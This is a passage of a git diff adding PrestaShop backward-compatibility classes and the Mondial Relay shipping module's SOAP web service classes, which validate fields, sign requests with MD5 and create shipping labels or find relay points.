$this->addJS(_PS_JS_DIR_.'jquery/jquery-1.4.4.min.js'); + elseif (_PS_VERSION_ >= '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.7.2.min.js'); + } + +} + +/** + * Class Customer for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class CustomerBackwardModule extends Customer +{ + public $logged = false; + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } +} diff --git a/modules/mondialrelay/backward_compatibility/Display.php b/modules/mondialrelay/backward_compatibility/Display.php new file mode 100755 index 0000000..3d0ae2d --- /dev/null +++ b/modules/mondialrelay/backward_compatibility/Display.php @@ -0,0 +1,24 @@ += '1.5') + parent::setTemplate($template); + else + $this->template = $template; + } + + // Overload displayContent for 1.4 + public function displayContent() + { + parent::displayContent(); + + echo Context::getContext()->smarty->fetch($this->template); + } +} \ No newline at end of file diff --git a/modules/mondialrelay/backward_compatibility/backward.ini b/modules/mondialrelay/backward_compatibility/backward.ini new file mode 100755 index 0000000..6520fb7 --- /dev/null +++ b/modules/mondialrelay/backward_compatibility/backward.ini @@ -0,0 +1 @@ +version = 0.4 \ No newline at end of file diff --git a/modules/mondialrelay/backward_compatibility/backward.php b/modules/mondialrelay/backward_compatibility/backward.php new file mode 100755 index 0000000..64ceb1f --- /dev/null +++ b/modules/mondialrelay/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// Get out if the Display (BWDisplay to avoid any conflict)) is already defined +if (!in_array('BWDisplay', get_declared_classes())) + require_once(dirname(__FILE__).'/Display.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && isset($this->context->employee->id) && $this->context->employee->id) + { + global $currentIndex; + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; \ No newline at end of file diff --git a/modules/mondialrelay/backward_compatibility/index.php b/modules/mondialrelay/backward_compatibility/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay/backward_compatibility/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/classes/IMondialRelayWSMethod.php b/modules/mondialrelay/classes/IMondialRelayWSMethod.php new file mode 100755 index 0000000..76e1ee3 --- /dev/null +++ b/modules/mondialrelay/classes/IMondialRelayWSMethod.php @@ -0,0 +1,59 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../errorCode.php'); +require_once(realpath(dirname(__FILE__).'/../mondialrelay.php')); +require_once(realpath(dirname(__FILE__).'/../lib/nusoap/nusoap.php')); + +/* + * This method allow to create any method object to dial more + * easyly with the Mondial Reelay WebService + */ +interface IMondialRelayWSMethod +{ + /* + * Initiate the data needed to be send properly + * Can manage a list of data for multiple request + */ + public function init(); + + /* + * Send one or multiple request to the webservice + */ + public function send(); + + /* + * Get the values with associated fields name + */ + public function getFieldsList(); + + /* + * Get the result of one or multiple send request + */ + public function getResult(); +} + +?> diff --git a/modules/mondialrelay/classes/MRCreateTickets.php b/modules/mondialrelay/classes/MRCreateTickets.php new file mode 100755 index 0000000..38e3ce6 --- /dev/null +++ b/modules/mondialrelay/classes/MRCreateTickets.php @@ -0,0 +1,611 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to create tickets - 'WSI2_CreationEtiquette' + */ +class MRCreateTickets implements IMondialRelayWSMethod +{ + public $class_name = __CLASS__; + + private $_fields = array( + 'id_mr_selected' => 0, + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'ModeCol' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^(CCC|CDR|CDS|REL)$#'), + 'ModeLiv' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^(LCC|LD1|LDS|24R|ESP|DRI)$#'), + 'NDossier' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9A-Z_ -]{0,15})$#'), + 'NClient' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9A-Z]{0,9})$#'), + 'Expe_Langage' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Expe_Ad1' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Expe_Ad2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,32}$#'), + 'Expe_Ad3' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,32}$#'), + 'Expe_Ad4' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Expe_Ville' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z_\-\' ]{2,26}$#'), + 'Expe_CP' => array( + 'required' => true, + 'value' => '', + 'params' => array(), + 'methodValidation' => 'checkZipcodeByCountry'), + 'Expe_Pays' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Expe_Tel1' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Expe_Tel2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Expe_Mail' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[\w\-\.\@_]{0,70}$#'), + 'Dest_Langage' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Dest_Ad1' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Dest_Ad2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Dest_Ad3' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Dest_Ad4' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,32}$#'), + 'Dest_Ville' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z_\-\' ]{2,26}$#'), + 'Dest_CP' => array( + 'required' => true, + 'value' => '', + 'params' => array(), + 'methodValidation' => 'checkZipcodeByCountry'), + 'Dest_Pays' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Dest_Tel1' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Dest_Tel2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Dest_Mail' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[\w\-\.\@_]{0,70}$#'), + 'Poids' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{3,7}$#'), + 'Longueur' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9]{0,3}$#'), + 'Taille' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(XS|S|M|L|XL|XXL|3XL)$#'), + 'NbColis' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{1,2}$#'), + 'CRT_Valeur' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{1,7}$#'), + 'CRT_Devise' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|EUR)$#'), + 'Exp_Valeur' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9]{0,7}$#'), + 'Exp_Devise' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|EUR)$#'), + 'COL_Rel_Pays' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'COL_Rel' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9]{6})$#'), + 'LIV_Rel_Pays' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'LIV_Rel' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9]{6})$#'), + 'TAvisage' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|O|N)$#'), + 'TReprise' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|O|N)$#'), + 'Montage' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9]{1,3})$#'), + 'TRDV' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|O|N)$#'), + 'Assurance' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9A-Z]{1})$#'), + 'Instructions' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,31}#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'), + 'Texte' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^([^<>&\']{3,30})(\(cr\)[^<>&\']{0,30}){0,9}$#'))); + + private $_orderListId = NULL; + private $_totalOrder = 0; + private $_weightList = NULL; + private $_mondialrelay = NULL; + private $_fieldsList = array(); + private $_webServiceKey = ''; + private $_markCode = ''; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_orderListId = $params['orderIdList']; + $this->_totalOrder = $params['totalOrder']; + $this->_weightList = $params['weightList']; + + $this->_mondialrelay = $object; + $this->_webServiceKey = $this->_mondialrelay->account_shop['MR_KEY_WEBSERVICE']; + $this->_markCode = $this->_mondialrelay->account_shop['MR_CODE_MARQUE']; + $this->class_name = strtolower($this->class_name); + } + + public function __destruct() + { + unset($this->_mondialrelay); + } + + /* + * Build a correct weight format (NNNNN) + */ + private function _weightFormat($weight) + { + while (strlen($weight) < 5) + $weight = '0'.$weight; + return $weight; + } + + /* + * Set the default value to the order paramaters + */ + private function _setRequestDefaultValue() + { + $this->_fields['list']['Enseigne']['value'] = $this->_mondialrelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Expe_Langage']['value'] = $this->_mondialrelay->account_shop['MR_LANGUAGE']; + $this->_fields['list']['Expe_Ad1']['value'] = Configuration::get('PS_SHOP_NAME'); + $this->_fields['list']['Expe_Ad3']['value'] = Configuration::get('PS_SHOP_ADDR1'); + // Deleted, cause to many failed for the process + // $this->_fields['list']['Expe_Ad4']['value'] = Configuration::get('PS_SHOP_ADDR2'); + $this->_fields['list']['Expe_Ville']['value'] = Configuration::get('PS_SHOP_CITY'); + $this->_fields['list']['Expe_CP']['value'] = Configuration::get('PS_SHOP_CODE'); + $this->_fields['list']['Expe_CP']['params']['id_country'] = Configuration::get('PS_COUNTRY_DEFAULT'); + + if (_PS_VERSION_ >= '1.4') + $this->_fields['list']['Expe_Pays']['value'] = Country::getIsoById(Configuration::get('PS_SHOP_COUNTRY_ID')); + else + $this->_fields['list']['Expe_Pays']['value'] = substr(Configuration::get('PS_SHOP_COUNTRY'), 0, 2); + $this->_fields['list']['Expe_Tel1']['value'] = MRTools::getFormatedPhone(Configuration::get('PS_SHOP_PHONE')); + $this->_fields['list']['Expe_Mail']['value'] = Configuration::get('PS_SHOP_EMAIL'); + $this->_fields['list']['NbColis']['value'] = 1; + $this->_fields['list']['CRT_Valeur']['value'] = 0; + $this->_fields['list']['CRT_Devise']['value'] = 'EUR'; + } + + /* + * Initiate the data needed to be send properly + * Can manage a list of data for multiple request + */ + public function init() + { + if ($this->_totalOrder == 0) + throw new Exception($this->_mondialrelay->l('Please select at least one order', $this->class_name)); + + $this->_setRequestDefaultValue(); + if (count($orderListDetails = $this->_mondialrelay->getOrders($this->_orderListId))) + { + foreach ($orderListDetails as $orderDetail) + { + // Storage temporary + $base = $this->_fields; + $tmp = &$base['list']; + + $deliveriesAddress = new Address($orderDetail['id_address_delivery']); + $customer = new Customer($orderDetail['id_customer']); + + // Store the weight order set by the user + foreach($this->_weightList as $orderWeightInfos) + { + $detail = explode('-', $orderWeightInfos); + if (count($detail) == 2 && $detail[1] == $orderDetail['id_order']) + $tmp['Poids']['value'] = $this->_weightFormat($detail[0]); + } + + + $dest_tel = (!empty($deliveriesAddress->phone)) ? MRTools::getFormatedPhone($deliveriesAddress->phone) : ''; + + $dest_tel2 = (!empty($deliveriesAddress->phone_mobile)) ? MRTools::getFormatedPhone($deliveriesAddress->phone_mobile) : ''; + + $destIsoCode = Country::getIsoById($deliveriesAddress->id_country); + $tmp['ModeCol']['value'] = $orderDetail['mr_ModeCol']; + $tmp['ModeLiv']['value'] = $orderDetail['mr_ModeLiv']; + $tmp['NDossier']['value'] = $orderDetail['id_order']; + $tmp['NClient']['value'] = $orderDetail['id_customer']; + $tmp['Dest_Langage']['value'] = 'FR'; //Language::getIsoById($orderDetail['id_lang']); + $tmp['Dest_Ad1']['value'] = preg_replace(MRTools::REGEX_CLEAN_ADDR, '', substr($deliveriesAddress->firstname.' '.$deliveriesAddress->lastname, 0, 32)); + $tmp['Dest_Ad2']['value'] = preg_replace(MRTools::REGEX_CLEAN_ADDR, '', substr($deliveriesAddress->address2, 0, 32)); + $tmp['Dest_Ad3']['value'] = preg_replace(MRTools::REGEX_CLEAN_ADDR, '', substr($deliveriesAddress->address1, 0, 32)); + $tmp['Dest_Ville']['value'] = $deliveriesAddress->city; + $tmp['Dest_CP']['value'] = $deliveriesAddress->postcode; + $tmp['Dest_CP']['params']['id_country'] = $deliveriesAddress->id_country; + $tmp['Dest_Pays']['value'] = $destIsoCode; + $tmp['Dest_Tel1']['value'] = $dest_tel; + $tmp['Dest_Tel2']['value'] = $dest_tel2; + $tmp['Dest_Mail']['value'] = $customer->email; + $tmp['Assurance']['value'] = $orderDetail['mr_ModeAss']; + if ($orderDetail['MR_Selected_Num'] != 'LD1' && $orderDetail['MR_Selected_Num'] != 'LDS') + { + $tmp['LIV_Rel_Pays']['value'] = $orderDetail['MR_Selected_Pays']; + $tmp['LIV_Rel']['value'] = $orderDetail['MR_Selected_Num']; + } + + // Store the necessary information to the root case table + $base['id_mr_selected'] = $orderDetail['id_mr_selected']; + + // Add the temporary values to a field list for multiple request + $this->_fieldsList[] = $base; + unset($deliveriesAddress); + unset($customer); + } + $this->_generateMD5SecurityKey(); + } + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + // RootCase is the array case where the main information are stored + // it's an array containing id_mr_selected and an array with the necessary fields + foreach($this->_fieldsList as &$rootCase) + { + $concatenationValue = ''; + foreach($rootCase['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($valueDetailed['value']); + $valueDetailed['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($valueDetailed['value']); + + // Call a pointer function if exist to do different test + if (isset($valueDetailed['methodValidation']) && + method_exists('MRTools', $valueDetailed['methodValidation']) && + isset($valueDetailed['params']) && + MRTools::$valueDetailed['methodValidation']($valueDetailed['value'], $valueDetailed['params'])) + $concatenationValue .= $valueDetailed['value']; + // Use simple Regex test given by MondialRelay + else if (isset($valueDetailed['regexValidation']) && + preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + // If the key is required, we set an error, else it's skipped + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + if (empty($valueDetailed['value'])) + $error = $this->_mondialrelay->l('This key', $this->class_name).' ['.$paramName.'] '.$this->_mondialrelay->l('is empty and need to be filled', $this->class_name); + else + $error = 'This key ['.$paramName.'] hasn not a valid value format : '.$valueDetailed['value']; + $this->_resultList['error'][$rootCase['list']['NDossier']['value']][] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $rootCase['list']['Security']['value' ] = strtoupper(md5($concatenationValue)); + } + } + + /* + * Update the tables used and send mail with the order history + */ + private function _updateTable($params, $expeditionNum, $ticketURL, $trackingURL, $id_mr_selected) + { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'mr_selected` + SET `MR_poids` = \''.pSQL($params['Poids']).'\', + `exp_number` = \''.pSQL($expeditionNum).'\', + `url_etiquette` = \''.pSQL($ticketURL).'\', + `url_suivi` = \''.pSQL($trackingURL).'\' + WHERE id_mr_selected = '.(int)$id_mr_selected); + + // NDossier contains the id_order + $order = new Order($params['NDossier']); + + // Update the database for order and orderHistory + $order->shipping_number = $expeditionNum; + $order->update(); + + $templateVars = array('{followup}' => $trackingURL); + $orderState = (Configuration::get('PS_OS_SHIPPING')) ? + Configuration::get('PS_OS_SHIPPING') : + _PS_OS_SHIPPING_; + + $history = new OrderHistory(); + $history->id_order = (int)$params['NDossier']; + $history->changeIdOrderState($orderState, (int)$params['NDossier']); + $history->id_employee = (int)Context::getContext()->employee->id; + $history->addWithemail(true, $templateVars); + + unset($order); + unset($history); + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params, $id_mr_selected) + { + $errors = &$this->_resultList['error'][$params['NDossier']]; + $success = &$this->_resultList['success'][$params['NDossier']]; + + if ($client->fault) + $errors[] = $this->_mondialrelay->l('It seems the request is not valid:', $this->class_name). + $result; + + $result = $result['WSI2_CreationEtiquetteResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialrelay->l('There is an error number : ', $this->class_name).$errorNumber; + $errors[] = $this->_mondialrelay->l('Details : ', $this->class_name). + $this->_mondialrelay->getErrorCodeDetail($errorNumber); + } + else + { + $baseURL = 'http://www.mondialrelay.fr/'; + $expedition = $result['ExpeditionNum']; + $securityKey = strtoupper(md5('<'.$params['Enseigne'].$this->_markCode. + '>'.$expedition.'<'.$this->_webServiceKey.'>')); + $ticketURL = $baseURL.$result['URL_Etiquette']; + $trackingURL = $baseURL. + 'lg_fr/espaces/url/popup_exp_details.aspx?cmrq='.$params['Enseigne']. + $this->_markCode.'&nexp='.$expedition.'&crc='.$securityKey; + + $success['displayExpedition'] = $this->_mondialrelay->l('Expedition Number : ', $this->class_name) . $expedition; + $success['displayTicketURL'] = $this->_mondialrelay->l('Ticket URL : ', $this->class_name) . $ticketURL; + $success['displayTrackingURL'] = $this->_mondialrelay->l('Tracking URL: ', $this->class_name) . $trackingURL; + $success['expeditionNumber'] = $expedition; + + $this->_updateTable($params, $expedition, $ticketURL, $trackingURL, $id_mr_selected); + } + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + foreach($this->_fieldsList as $rootCase) + { + $params = $this->_getSimpleParamArray($rootCase['list']); + $result = $client->call( + 'WSI2_CreationEtiquette', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_CreationEtiquette'); + + $this->_parseResult($client, $result, $params, $rootCase['id_mr_selected']); + } + unset($client); + } + else + throw new Exception($this->_mondialrelay->l('The Mondial Relay webservice is not currently reliable', $this->class_name)); + } + + /* + ** Check if the shop parameter are currently well configured + */ + public function checkPreValidation() + { + $errorList = array('error' => array(), 'warn' => array()); + + $list = array( + 'Expe_Langage' => array( + 'value' => $this->_mondialrelay->account_shop['MR_LANGUAGE'], + 'error' => $this->_mondialrelay->l('Please check your language configuration', $this->class_name)), + 'Expe_Ad1' => array( + 'value' => Configuration::get('PS_SHOP_NAME'), + 'error' => $this->_mondialrelay->l('Please check your shop name configuration', $this->class_name)), + 'Expe_Ad3' => array( + 'value' => Configuration::get('PS_SHOP_ADDR1'), + 'error' => $this->_mondialrelay->l('Please check your address 1 configuration', $this->class_name)), + 'Expe_Ville' => array( + 'value' => Configuration::get('PS_SHOP_CITY'), + 'error' => $this->_mondialrelay->l('Please check your city configuration', $this->class_name)), + 'Expe_CP' => array( + 'value' => Configuration::get('PS_SHOP_CODE'), + 'error' => $this->_mondialrelay->l('Please check your zipcode configuration', $this->class_name)), + 'Expe_Pays' => array( + 'value' => ((_PS_VERSION_ >= '1.4') ? + Country::getIsoById(Configuration::get('PS_SHOP_COUNTRY_ID')) : + substr(Configuration::get('PS_SHOP_COUNTRY'), 0, 2)), + 'error' => $this->_mondialrelay->l('Please check your country configuration', $this->class_name)), + 'Expe_Tel1' => array( + 'value' => MRTools::getFormatedPhone(Configuration::get('PS_SHOP_PHONE')), + 'error' => $this->_mondialrelay->l('Please check your Phone configuration', $this->class_name)), + 'Expe_Mail' => array( + 'value' => Configuration::get('PS_SHOP_EMAIL'), + 'error' => $this->_mondialrelay->l('Please check your mail configuration', $this->class_name))); + + foreach($list as $name => $tab) + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($tab['value']); + $tab['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($tab['value']); + + if ($name == 'Expe_CP') + { + if (version_compare(_PS_VERSION_, '1.4', '>=')) + { + if (!($zipcodeError = MRTools::checkZipcodeByCountry($tab['value'], array( + 'id_country' => Configuration::get('PS_COUNTRY_DEFAULT'))))) + $errorList['error'][$name] = $tab['error']; + } + else + $errorList['warn'][$name] = $this->_mondialrelay->l('Post code cannot be validated with PrestaShop versions older than 1.4', $this->class_name); + } + else if (isset($this->_fields['list'][$name]['regexValidation']) && + (!preg_match($this->_fields['list'][$name]['regexValidation'], $tab['value'], $matches))) + $errorList['error'][$name] = $tab['error']; + } + return $errorList; + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + * Return the fields list + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Return the result of one or multiple sent requests + */ + public function getResult() + { + return $this->_resultList; + } + + /* + * Return which number order of the list is currently managed + */ + public static function getCurrentRequestUnderTraitment() + { + // TODO: Build a SQL Query to know how many request have been executed + } +} +?> diff --git a/modules/mondialrelay/classes/MRGetRelayPoint.php b/modules/mondialrelay/classes/MRGetRelayPoint.php new file mode 100755 index 0000000..585b738 --- /dev/null +++ b/modules/mondialrelay/classes/MRGetRelayPoint.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to fetch relay point - 'WSI2_RecherchePointRelais' + */ +class MRGetRelayPoint implements IMondialRelayWSMethod +{ + // Params is required if you use a pointer function + private $_fields = array( + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Pays' => array( + 'required' => true, + 'value' => 'FR', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Ville' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[A-Z_\-\' ]{2,25}\s*#'), + 'CP' => array( + 'required' => false, + 'value' => '', + 'params' => array(), + 'methodValidation' => 'checkZipcodeByCountry'), + 'Taille' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(XS|S|M|L|XL|XXL|3XL)$#'), + 'Poids' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9]{3,7}$#'), + 'Action' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(REL|24R|ESP|DRI)$#'), + 'RayonRecherche' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9]{3,7}$#'), + 'TypeActivite' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(\d{3},|\d{3})*$#'), + 'Latitude' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^-?[0-9]{2}\.[0-9]{7}$#'), + 'Longitude' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^-?[0-9]{2}\.[0-9]{7}$#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'))); + + private $_id_address_delivery = 0; + private $_weight = 0; + private $_webServiceKey = ''; + private $_mondialRelay = NULL; + private $_id_carrier = 0; + private $_id_delivery_country = 0; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_mondialRelay = $object; + $this->_id_address_delivery = (int)($params['id_address_delivery']); + $this->_id_carrier = (int)($params['id_carrier']); + $this->_weight = (float)($params['weight']); + $this->_webServiceKey = $this->_mondialRelay->account_shop['MR_KEY_WEBSERVICE']; + } + + public function __destruct() + { + unset($this->_mondialRelay); + } + + public function init2() + { + $weight = $this->_mondialRelay->account_shop['MR_WEIGHT_COEFFICIENT'] * $this->_weight; + + $this->_fields['list']['Enseigne']['value'] = $this->_mondialRelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Poids']['value'] = ($weight < 100) ? 100 : $weight; + $this->_fields['list']['Pays']['value'] = trim("Fr"); + $this->_fields['list']['Ville']['value'] = trim("Paris 16"); + $this->_fields['list']['CP']['value'] = trim("75016"); + $this->_fields['list']['CP']['params']['id_country'] = trim("8") ; + // $this->_fields['list']['Latitude']['value'] = trim("42.69868400"); + // $this->_fields['list']['Longitude']['value'] = trim("2.895871899" ); + $this->_fields['list']['Latitude']['value'] = "48.85067700"; + $this->_fields['list']['Longitude']['value'] = "2.276963600" ; + $this->_fields['list']['Action']['value'] = "REL"; + $this->_fields['list']['TypeActivite']['value'] = 3; + $this->_fields['list']['RayonRecherche']['value'] = "0"; + + $this->_generateMD5SecurityKey(); + } + public function init() + { + if(Tools::getValue('codepostal') && Tools::getValue('ville')){ + + $this->_fields['list']['Enseigne']['value'] = $this->_mondialRelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + // $this->_fields['list']['Poids']['value'] = ($weight < 100) ? 100 : $weight; + $this->_fields['list']['Pays']['value'] = trim("fr"); + $this->_fields['list']['Ville']['value'] = trim(Tools::getValue('ville')); + $this->_fields['list']['CP']['value'] = trim(Tools::getValue('codepostal')); + $this->_fields['list']['CP']['params']['id_country'] = 8; + $this->_fields['list']['RayonRecherche']['value'] = 0.5; + $this->_generateMD5SecurityKey(); + + // die(); + }else{ + $address = new Address($this->_id_address_delivery); + $weight = $this->_mondialRelay->account_shop['MR_WEIGHT_COEFFICIENT'] * $this->_weight; + + if (!$address) + throw new Exception($this->_mondialrelay->l('Customer address can\'t be found')); + + $this->_fields['list']['Enseigne']['value'] = $this->_mondialRelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Poids']['value'] = ($weight < 100) ? 100 : $weight; + $this->_fields['list']['Pays']['value'] = trim(Country::getIsoById($address->id_country)); + $this->_fields['list']['Ville']['value'] = trim($address->city); + $this->_fields['list']['CP']['value'] = trim($address->postcode); + $this->_fields['list']['CP']['params']['id_country'] = $address->id_country; + $this->_generateMD5SecurityKey(); + unset($address); + + } + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + $concatenationValue = ''; + foreach($this->_fields['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($valueDetailed['value']); + $valueDetailed['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($valueDetailed['value']); + + $valueDetailed['value'] = strtoupper($valueDetailed['value']); + // Call a pointer function if exist to do different test + if (isset($valueDetailed['methodValidation']) && + method_exists('MRTools', 